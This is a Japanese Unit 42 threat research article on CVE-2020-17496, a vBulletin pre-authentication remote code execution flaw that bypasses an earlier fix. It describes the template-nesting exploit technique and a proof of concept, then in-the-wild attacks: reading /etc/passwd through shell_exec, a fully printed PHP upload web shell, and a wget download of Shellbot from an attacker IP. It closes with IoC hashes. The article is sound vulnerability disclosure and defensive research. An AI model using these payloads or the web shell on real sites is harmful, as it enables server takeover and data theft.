[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/cve-2020-17496/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/cve-2020-17496/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ")
* [脆弱性](https://unit42.paloaltonetworks.com/ja/category/vulnerabilities-ja/ "脆弱性")  
  [脆弱性](https://unit42.paloaltonetworks.com/ja/category/vulnerabilities-ja/)

# 実際の悪用が確認されているvBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496のエクスプロイト

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 4 分で読めます  
Related Products  
[![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/ja/product-category/advanced-threat-prevention-ja/ "Advanced Threat Prevention")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/ja/product-category/advanced-url-filtering-ja/ "Advanced URL Filtering")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/ja/product-category/next-generation-firewall-ja/ "Next-Generation Firewall")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Zhibin Zhang](https://unit42.paloaltonetworks.com/ja/author/zhibin-zhang/)
  * [Haozhe Zhang](https://unit42.paloaltonetworks.com/ja/author/haozhe-zhang/)
  * [Qi Deng](https://unit42.paloaltonetworks.com/ja/author/qi-deng/)
  * [Ruchna Nigam](https://unit42.paloaltonetworks.com/ja/author/ruchna-nigam/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2020年9月3日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [脆弱性](https://unit42.paloaltonetworks.com/ja/category/vulnerabilities-ja/)
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [CVE-2019-16759](https://unit42.paloaltonetworks.com/ja/tag/cve-2019-16759-ja/)
  * [CVE-2020-17496](https://unit42.paloaltonetworks.com/ja/tag/cve-2020-17496-ja/)
  * [Exploits](https://unit42.paloaltonetworks.com/ja/tag/exploits-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/cve-2020-17496/?pdf=download&lg=ja&_wpnonce=7570bbad6f "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/cve-2020-17496/?pdf=print&lg=ja&_wpnonce=7570bbad6f "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](<mailto:?subject=実際の悪用が確認されているvBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496のエクスプロイト&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F> "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](<https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F&title=実際の悪用が確認されているvBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496のエクスプロイト> "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](<https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F&text=実際の悪用が確認されているvBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496のエクスプロイト> "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](<https://mastodon.social/share?text=実際の悪用が確認されているvBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496のエクスプロイト%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fcve-2020-17496%2F> "Share in Mastodon")

## **概要**

2019年9月に、人気フォーラムソフトウェアvBulletinに見つかったリモートコード実行（RCE）脆弱性[CVE-2019-16759](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759)が公表されました。当時のUnit 42のリサーチャーは[当該vBulletin脆弱性に関するブログ記事](https://unit42.paloaltonetworks.jp/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)を公開し、脆弱性の根本的要因と実際にインターネット上で見つかったエクスプロイトについて分析しました。この脆弱性が悪用されると、バージョン5.0.0から5.5.4までのvBulletinをを実行しているサーバーで攻撃者に特権アクセスと制御を取得され、組織が自社サイトから締め出されてしまう可能性があります。

最近、Unit 42のリサーチャーは、vBulletinの事前認証リモートコード実行（RCE）脆弱性[CVE-2020-17496](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496)を利用したエクスプロイトを発見しました。当該のエクスプロイトは、以前の脆弱性CVE-2019-16759の修正を回避するもので、攻撃者が指定されたテンプレート名と悪意のあるPHPコードを使い、巧妙に細工したHTTPリクエストを送信することで、リモートからコードを実行できる可能性があります。著名企業・組織のフォーラムを含め[10万件以上のサイト](https://www.vbulletin.com/)がvBulletinベースで構築されていることから、ただちにパッチを適用することが不可欠です。

本稿では、同脆弱性のパッチ回避に関する詳細、脆弱性を実証する概念実証コード（PoC）、実際に確認されている攻撃に関する情報を提供します。

パロアルトネットワークス製品をご利用中のお客様は、[脅威防御](https://www.paloaltonetworks.jp/products/secure-the-network/subscriptions/threat-prevention)のシグネチャと関連C2トラフィックをブロックする[URLフィルタリング](https://www.paloaltonetworks.jp/products/threat-detection-and-prevention/web-security)の各サービス、製品により保護されています。

## **脆弱性の根本原因分析（CVE-2020-17496）**

テンプレート レンダリングは、XMLテンプレートをPHPコードに変換して実行できるようにするvBulletinの機能で、バージョン5.0以降のvBulletinは、このテンプレートレンダリングとしてAjaxリクエストを受け入れるようになりました。レンダリングを行うのはstaticRenderAjaxという関数で、図1に示すように、staticRenderAjax関数のパラメータの値は$\_REQUESTS、$\_GET、$\_POSTとなっています。したがって、これらのパラメータから取得されたテンプレート名と、関連の設定内容はユーザーの制御下にあります。これがリモートコード実行脆弱性CVE-2019-16759につながります。
![staticRenderAjax関数の値とパラメータは、赤い矢印で示すように、$\_ REQUESTS、$\_ GET、$\_POSTからのものです。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-5.png) 図 1 vBulletin 5.5.5 未満の callRender()

ここで攻撃者がテンプレート名widget\_phpを含むAjaxリクエストに細工をし、 widgetConfig\['code'\] パラメータ内に悪意のあるコードを配置した場合、レンダリング エンジンはそのwidget\_php XMLテンプレートをPHPコードの文字列に変換します（図2参照)。その後変換されたコードはeval関数（図3にハイライト表示)を介して実行されます。生成されたコードには vB5\_Template\_Runtime::evalPhp(" . $widgetConfig\['code'\] . ") という行があることから、これでリクエスト内の悪意のあるコードが実行されてしまうことになります。

![テンプレート名widget\_phpとパラメータwidgetConfig \['code'\]に配置された悪意のあるコードを含むAjaxリクエストを攻撃者が操作すると、レンダリングエンジンはXMLテンプレートwidget\_phpをPHPコードの文字列に変換します。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-6.png) 図 2 widget\_phpテンプレート

PHP  
$final\_rendered = " . "; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { $final\_rendered .= ' ' . "; $widgetConfig = vB5\_Template\_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final\_rendered .= " . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' ' . "; if (!empty($widgetConfig)) { $final\_rendered .= ' ' . "; $widgetid = $widgetConfig\['widgetid'\]; $final\_rendered .= " . ' ' . "; $widgetinstanceid = $widgetConfig\['widgetinstanceid'\]; $final\_rendered .= " . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' ' . vB5\_Template\_Runtime::includeTemplate('module\_title',array('widgetConfig' =\> $widgetConfig, 'show\_title\_divider' =\> 'l', 'can\_use\_sitebuilder' =\> $user\['can\_use\_sitebuilder'\])) . ' ' . "; if (!empty($widgetConfig\['code'\]) AND !vB::getDatastore()-\>getOption('disable\_php\_rendering')) { $final\_rendered .= ' ' . " . ' ' . vB5\_Template\_Runtime::evalPhp(" . $widgetConfig\['code'\] . ") . ' '; } else { $final\_rendered .= ' ' . "; if ($user\['can\_use\_sitebuilder'\]) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::parsePhrase("click\_edit\_to\_config\_module") . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' '; } $final\_rendered .= " . ' ';

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | $final\_rendered = " . "; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { $final\_rendered .= ' ' . "; $widgetConfig = vB5\_Template\_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final\_rendered .= " . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' ' . "; if (!empty($widgetConfig)) { $final\_rendered .= ' ' . "; $widgetid = $widgetConfig\['widgetid'\]; $final\_rendered .= " . ' ' . "; $widgetinstanceid = $widgetConfig\['widgetinstanceid'\]; $final\_rendered .= " . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' ' . vB5\_Template\_Runtime::includeTemplate('module\_title',array('widgetConfig' =\> $widgetConfig, 'show\_title\_divider' =\> 'l', 'can\_use\_sitebuilder' =\> $user\['can\_use\_sitebuilder'\])) . ' ' . "; if (!empty($widgetConfig\['code'\]) AND !vB::getDatastore()-\>getOption('disable\_php\_rendering')) { $final\_rendered .= ' ' . " . ' ' . vB5\_Template\_Runtime::evalPhp(" . $widgetConfig\['code'\] . ") . ' '; } else { $final\_rendered .= ' ' . "; if ($user\['can\_use\_sitebuilder'\]) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::parsePhrase("click\_edit\_to\_config\_module") . ' '; } else { $final\_rendered .= "; } $final\_rendered .= " . ' '; } $final\_rendered .= " . ' '; |

![赤いボックスで関数eval($templateCode)をハイライト表示しています](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-7.png) 図 3 XMLテンプレートからレンダリングされたPHPコードをeval関数で評価している

バージョン5.5.5以降、CVE-2019-16759の修正がcallRender()関数に導入されました（図4参照）。この修正ではテンプレート名をチェックするのに禁止リストのしくみを利用していて、名前がwidget\_phpであればXMLエンジンはリクエストされたテンプレートをレンダリングしません。
![バージョン5.5.5以降、CVE-2019-16759の修正が<s0>callRender()</s0>関数に導入されました（図4参照）。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-8.png) 図 4 vBulletin 5.5.5 以降の callRender()

これとは別の修正もあり、そちらの修正ではevalPhp関数が現在のテンプレート名をチェックするようにしています。こちらの修正で、widget\_phpがPHPコード実行に使用できる唯一のテンプレートになりました（図5参照）。
![赤いボックス内のコードは、if (self::currentTemplate() != 'widget\_php') を評価することでevalPhp関数が現在のテンプレート名をチェックしているようすを示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-9.png) 図 5 evalPhp() がコードを実行するのはテンプレートが widget\_php の場合のみ

先のwidget\_phpテンプレートへのユーザーアクセス制限にくわえ、この修正では同テンプレートをPHPコード実行に利用できる唯一のテンプレートにしています。ところが、直近で見つかった修正回避方法では、別のテンプレートを使用すればこのwidget\_phpテンプレートをロードできてしまうことがわかりました。その別のテンプレートというのがwidget\_tabbedcontainer\_tab\_panelです。
![This shows code from the template widget\_tabbedcontainer\_tab\_panel, which can be utilitzed to load widget\_php](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-10.png) 図 6 widget\_tabbedcontainer\_tab\_panel テンプレート

上の図6に示すテンプレートwidget\_tabbedcontainer\_tab\_panelを使えば、複数の子テンプレートをレンダリングすることができます。テンプレート自体をレンダリングしても直接リモートコード実行につながるわけではありませんが、このテンプレートをレンダリングすると、子テンプレートのレンダリングがトリガーされます。

以下のコードはXML内のwidget\_tabbedcontainer\_tab\_panelテンプレートからレンダリングされたPHPコードです。コードは生成後に実行されます。  
PHP  
$final\_rendered = " . "; $panel\_id = " . vB5\_Template\_Runtime::vBVar($id\_prefix).vB5\_Template\_Runtime::vBVar($tab\_num) . "; $final\_rendered .= " . " . " . ' ' . "; if (isset($subWidgets) AND (is\_array($subWidgets) OR $subWidgets instanceof ArrayAccess)) { foreach ($subWidgets AS $subWidget) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::includeTemplate($subWidget\['template'\],array('widgetConfig' =\> $subWidget\['config'\], 'widgetinstanceid' =\> $subWidget\['widgetinstanceid'\], 'widgettitle' =\> $subWidget\['title'\], 'tabbedContainerSubModules' =\> $subWidget\['tabbedContainerSubModules'\], 'product' =\> $subWidget\['product'\])) . ' '; } }$final\_rendered .= " . '';

|-------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | $final\_rendered = " . "; $panel\_id = " . vB5\_Template\_Runtime::vBVar($id\_prefix).vB5\_Template\_Runtime::vBVar($tab\_num) . "; $final\_rendered .= " . " . " . ' ' . "; if (isset($subWidgets) AND (is\_array($subWidgets) OR $subWidgets instanceof ArrayAccess)) { foreach ($subWidgets AS $subWidget) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::includeTemplate($subWidget\['template'\],array('widgetConfig' =\> $subWidget\['config'\], 'widgetinstanceid' =\> $subWidget\['widgetinstanceid'\], 'widgettitle' =\> $subWidget\['title'\], 'tabbedContainerSubModules' =\> $subWidget\['tabbedContainerSubModules'\], 'product' =\> $subWidget\['product'\])) . ' '; } }$final\_rendered .= " . ''; |

このPHPコードでは、レンダリングエンジンが$subWidgetsから「subWidget」とその設定をトラバースして新しいテンプレートオブジェクトを作成します。その後、レンダリングによりPHPコードが生成されます。この例では文字列widget\_phpがsubWidget変数に割り当てられ、悪意のあるコードが $widgetConfig\['code'\] に配置されていて、これがCVE-2019-16759と同様に実行されます。

## **PoC（概念実証コード）**

以上の分析から、実際に機能することを証明するエクスプロイト コードを作成できます。callRender関数の呼び出しには、POST HTTPメソッドが必要です（図7参照）。
![赤いボックスで強調表示されているコードは、関数callRenderを呼び出すためにPOST HTTPメソッドがどのように必要かを示しています。これはCVE-2020-17496のエクスプロイトの概念実証の一部です。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-11.png) 図 7 callRender()の呼び出し

図8はphpinfo()コードの実行結果を含む侵害されたページを示しています（リクエスト情報あり）。図9と図10もそれとはまた別の細工済みリクエストを実行した場合に同じ効果が得られることを示しています。

URLでは、子テンプレート名widget\_phpと悪意のあるコード phpinfo();exit(); は配列subWidgetの最初の要素として存在しています。バックエンドがこのURLを処理すると悪意のあるコードが実行されます。
![この侵害されたページは、CVE-2020-17496のエクスプロイトの概念実証の一部で、phpinfo()コードの結果が含まれています（リクエスト情報付き）。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-12.png) 図 8 エクスプロイトの再現検証 1 ![これも、CVE-2020-17496のエクスプロイトの概念実証の一部で、また別の細工されたリクエストを示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-13.png) 図 9 エクスプロイトの再現検証 2 ![これは、CVE-2020-17496のエクスプロイトの概念実証の一部で、3番目の細工されたリクエストを示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-14.png) 図 10. エクスプロイトの再現検証 3

## **実際に確認されているCVE-2020-17496のエクスプロイト**

私たちは2020年8月10日にCVE-2020-17496をエクスプロイトする最初のインシデントを検出しました。その後も異なるIPアドレスからのエクスプロイトの試みが進行中であることが確認されています。ただしこれらはそれぞれ別個の攻撃であって特定攻撃者による協調的取り組みではない点にご注意ください。

#### スキャン活動

私たちがキャプチャした悪意のあるトラフィックからは、スキャン活動を行うソースが複数あることがわかっています。これらのスキャンは、脆弱なサイトを見つけて関連情報を収集しようとしており、サイバー攻撃の初期段階にあたります。そのトラフィックを図11から図15に示します。これらのペイロードは、システムコマンドのechoとidを実行しようとします。これらコマンドの結果から攻撃者はターゲットが脆弱かどうかを知ることができます。
![これは、CVE-2020-17496のエクスプロイトに関連した悪意のあるトラフィックのサンプルです。私たちがキャプチャしたトラフィックからは、スキャンを実行しているソースIPが複数確認されました。これらの活動では、脆弱なサイトを見つけ、それらサイトに関する情報を収集しようとしています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-15.png) 図 11 実際に確認されたエクスプロイト 1 ![これは、CVE-2020-17496のエクスプロイトに関連した悪意のあるトラフィックの2番目のサンプルです。私たちがキャプチャしたトラフィックからは、スキャンを実行しているソースIPが複数確認されました。これらの活動では、脆弱なサイトを見つけ、それらサイトに関する情報を収集しようとしています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-16.png) 図 12. 実際に確認されたエクスプロイト 2 ![これは、CVE-2020-17496のエクスプロイトに関連した悪意のあるトラフィックの3番目のサンプルです。私たちがキャプチャしたトラフィックからは、スキャンを実行しているソースIPが複数確認されました。これらの活動では、脆弱なサイトを見つけ、それらサイトに関する情報を収集しようとしています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-17.png) 図 13 実際に確認されたエクスプロイト 3 ![これは、CVE-2020-17496のエクスプロイトに関連した悪意のあるトラフィックの4番目のサンプルです。私たちがキャプチャしたトラフィックからは、スキャンを実行しているソースIPが複数確認されました。これらの活動では、脆弱なサイトを見つけ、それらサイトに関する情報を収集しようとしています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-18.png) 図 14 実際に確認されたエクスプロイト 4

#### 機微なファイルの読み取り

一部の攻撃者は、この脆弱性を悪用してサーバー側のファイルを読み取ろうとします。このペイロードにはPHP関数shell\_exec()が含まれていて、これが任意のシステムコマンドを実行します。システムコマンド cat ../../../../../../../../../../etc/passwd は/etc/passwdの内容を読み取ります。このトラフィックを図15に示します。攻撃が成功すると、ターゲットからの機密情報が漏えいする可能性があります。
![このCVE-2020-17496のエクスプロイト関連の悪意のあるトラフィックのサンプルは、システムコマンド実行用のPHP関数shell\_exec()を含むペイロードを示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-19.png) 図 15 実際に確認されたエクスプロイト 5

#### Webシェルの作成

一部の攻撃者はこの脆弱性を悪用してWebシェルをインストールします。

図16は、PHP関数file\_put\_content()を使い、webホストディレクトリ上のファイル、conf.php内に、エクスプロイトがPHPベースのWebシェルを作成しようとしている様子を示しています。攻撃が成功すると、攻撃者はパラメータxを指定したHTTP POSTリクエストを介してコマンドをWebシェルに送信し、サーバーサイドでコマンドを実行することができます。
![これは、エクスプロイトがPHPベースのWebシェルをWebホストディレクトリのconf.phpファイルに書き込もうとしている様子を示しています。攻撃が成功すると、攻撃者はパラメータxを指定したHTTP POSTリクエストを介してコマンドをWebシェルに送信し、サーバーサイドでコマンドを実行することができます。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-20.png) 図 16 実際に確認されたエクスプロイト 6

図17は、エクスプロイトが被害者のサーバーにPHPスクリプトをダウンロードしようとしている様子を示しています。webシェルコードは以下のとおりで、このコードによりアップロード用ページが提供されます。これを使って攻撃者はファイルをアップロードし、サイバー攻撃のフォローアップ処理を実行できます。  
PHP  
\<?php error\_reporting(0); echo "Jasmine\<br\>"; echo"\<font color=#ff0000\>".php\_uname().""; print "\\n";$disable\_functions = @ini\_get("disable\_functions"); echo "\<br\>DisablePHP=".$disable\_functions; print "\\n"; echo"\<br\>\<form method=post enctype=multipart/form-data\>"; echo"\<input type=file name=f\>\<input name=k type=submit id=k value=upload\>\<br\>"; if($\_POST\["k"\]==upload){ if(@copy($\_FILES\["f"\]\["tmp\_name"\],$\_FILES\["f"\]\["name"\])){ echo"\<b\>".$\_FILES\["f"\]\["name"\]; }else{ echo"\<b\>Gagal upload cok"; } } ?\>

|-------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | \<?php error\_reporting(0); echo "Jasmine\<br\>"; echo"\<font color=#ff0000\>".php\_uname().""; print "\\n";$disable\_functions = @ini\_get("disable\_functions"); echo "\<br\>DisablePHP=".$disable\_functions; print "\\n"; echo"\<br\>\<form method=post enctype=multipart/form-data\>"; echo"\<input type=file name=f\>\<input name=k type=submit id=k value=upload\>\<br\>"; if($\_POST\["k"\]==upload){ if(@copy($\_FILES\["f"\]\["tmp\_name"\],$\_FILES\["f"\]\["name"\])){ echo"\<b\>".$\_FILES\["f"\]\["name"\]; }else{ echo"\<b\>Gagal upload cok"; } } ?\> |

![これはCVE-2020-17496のエクスプロイトが被害者のサーバーにPHPスクリプトをダウンロードしようとする様子を示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-21.png) 図 17 実際に確認されたエクスプロイト 7

図18は、エクスプロイトがbase64でエンコードされたPHPコードをWebホストディレクトリのファイルに書き込もうとしている様子を示しています。この新しいページが任意のファイルをアップロードする入口となり、攻撃者がサイバー攻撃のフォローアップ処理を実行できるようにします。
![これは、CVE-2020-17496のエクスプロイトがbase64エンコードされたPHPコードをWebホストディレクトリのファイルに書き込もうとしている様子を示しています。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-22.png) 図 18 実際に確認されたエクスプロイト 8

#### Shellbotのダウンロード

一部の攻撃者はこの脆弱性を利用してPHP関数shell\_exec()でシステムコマンドwgetを実行し、 http://178\[.\]170\[.\]117\[.\]50/bot1 というアドレスからPerlベースのスクリプト マルウェア（Shellbot）をダウンロードして実行しています。そのペイロードを図19に示します。
![これは、CVE-2020-17496のエクスプロイトのペイロードを示しています](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-23.png) 図 19 実際に確認されたエクスプロイト 9

スクリプトが実行されると、66\[.\]7\[.\]149\[.\]161:6667というアドレスでIRCベースのコマンド\&コントロール（C2）サーバーに接続し、IRCチャネル#afkに参加して、サーバーからのPINGに応答し続けます（図20のトラフィックを参照）。チャットチャネルからコマンドを受信すると、ポートスキャンの関連コードの実行、ファイルのダウンロード、システムコマンドの実行、フラッド攻撃の開始、攻撃者へのシェルの提供などを行います。
![前図の悪意のあるスクリプトが実行されると、IRCベースのコマンド\&コントロールサーバーに接続し、IRCチャネル#afkに参加し、サーバーからのPINGに応答します（トラフィック参照）。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-24.png) 図 20 ShellBotスクリプト実行中のトラフィック

#### Soraのダウンロード

あるエクスプロイトは、攻撃者のサーバーからMiraiの亜種（Sora）をダウンロードすることが判明しています。ただしこのペイロードは間違ったHTTPメソッドを使用しているため無効です。
![このCVE-2020-17496のエクスプロイトは、攻撃者のサーバーからMiraiの亜種（Sora）をダウンロードしようとします。](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-25.png) 図 21 実際に確認されたエクスプロイト 10

これらのサンプルを分析した結果、これらはさまざまなエクスプロイトを組み合わせて拡散していることがわかりました。たとえば[CVE-2020-5902](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902)（この場合のペイロードはbashコマンドを使用しているので無効。このエクスプロイトは挿入されるコマンドが特定CLI互換コマンドでなければならない）、[CVE-2020-1937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1937)、 [CVE-2020-10173](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10173)、 [CVE-2020-10987](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10987)、Netgear R700のリモートコード実行脆弱性、Netlink GPONルーター1.0.11のリモートコード実行脆弱性、そして本稿で説明した脆弱性CVE-2020-17496などです。

## **結論**

弊社の脅威プラットフォームでは、vBulletinの事前認証リモートコード実行脆弱性CVE-2020-17496に対するさまざまなエクスプロイトの試みが検出されています。vBulletinはマーケットで長年実行され、利用者数の多いフォーラムソフトウェアパッケージであることから、攻撃者にとって貴重なターゲットと認識されています。

vBulletinは、2020年8月10日の[パッチ](https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch)で本脆弱性を修正済みです。最新バージョンにあげることでリスクは軽減されますので、ぜひ本パッチを適用することを強くお勧めします。

パロアルトネットワークス製品をご利用中のお客様は、次の各サービス、製品によってこの脅威から保護されています。

* [脅威防御](https://www.paloaltonetworks.jp/products/secure-the-network/subscriptions/threat-prevention)シグネチャ 59133 および 80671
* [URL フィルタリング](https://www.paloaltonetworks.jp/products/threat-detection-and-prevention/web-security)はShellbotに関連するC2トラフィックをブロックします。

## **追加資料**

* [vBulletin における入力確認に関する脆弱性(CVE-2019-16759)のエクスプロイト状況](https://unit42.paloaltonetworks.jp/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

## **IoC**

#### Shellbotのハッシュ値

* 88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED

#### Mirai 亜種 (Sora) のハッシュ値

* 03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4
* b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992
* 94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7
* bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb
* 77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3
* 051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581
* fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016
* 8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2
* ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397
* 80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c
* f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7
* 1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b
* fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901
